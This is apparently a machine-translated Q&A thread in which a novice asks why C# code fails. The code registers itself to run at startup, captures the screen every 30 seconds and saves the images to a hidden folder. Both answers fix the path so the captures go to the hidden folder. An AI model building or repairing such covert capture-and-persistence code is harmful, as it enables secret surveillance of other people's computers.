Question

我的程序应该每隔30秒拍摄一次屏幕截图，然后将它们存储在隐藏文件夹C：\ SysApp中。我是编码的新手，而Visual Studio并没有说有任何错误，所以我很困惑。也许你可以帮我吗？谢谢！

这是我的代码：

＆＃13;

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Reflection;
using System.Windows.Forms;
using System.Net.Mail;
using System.IO;
using System.Drawing;

namespace screenshothoop
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch { }
            //------------------

            //------------screenshot  loop takes screenshots after 30 sec-----------
            int n = 0;
            while (n == 0)
            {
                Thread.Sleep(30000);
                OnTimedEvent();
            }
            //-------------------------

        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1000, 800);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\SysApp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\SysApp");
                File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }

            //---------------------------------------------------------



        }
    }
}

＆＃13;

Answer 1

首先检查C:\SysApp是否存在，如果不存在，则创建它。到现在为止还挺好。然后将图像写入D:\screenshotn\Etc.，这可能不存在。或者如果确实存在，则检查图像的错误文件夹。：）

更改此行：

str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);

到

str = string.Format("C:\\SysApp\\screen {0}_{1}.png", date + month + year, hour + min + sec);

Answer 2

您的代码可以更清楚地概括为：

memoryImage = new Bitmap(1000, 800);
...
str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);
...
memoryImage.Save(str);

如果您在线查找解释Bitmap.Save所做内容的资源，找到here，您会看到第一个参数描述了文件写入磁盘的位置。

由于str设置为“d：\ screenshotn \ sc ...”，因此它将被写入您之前设置的其他驱动器。

为什么我的C＃代码不起作用？

2 个答案: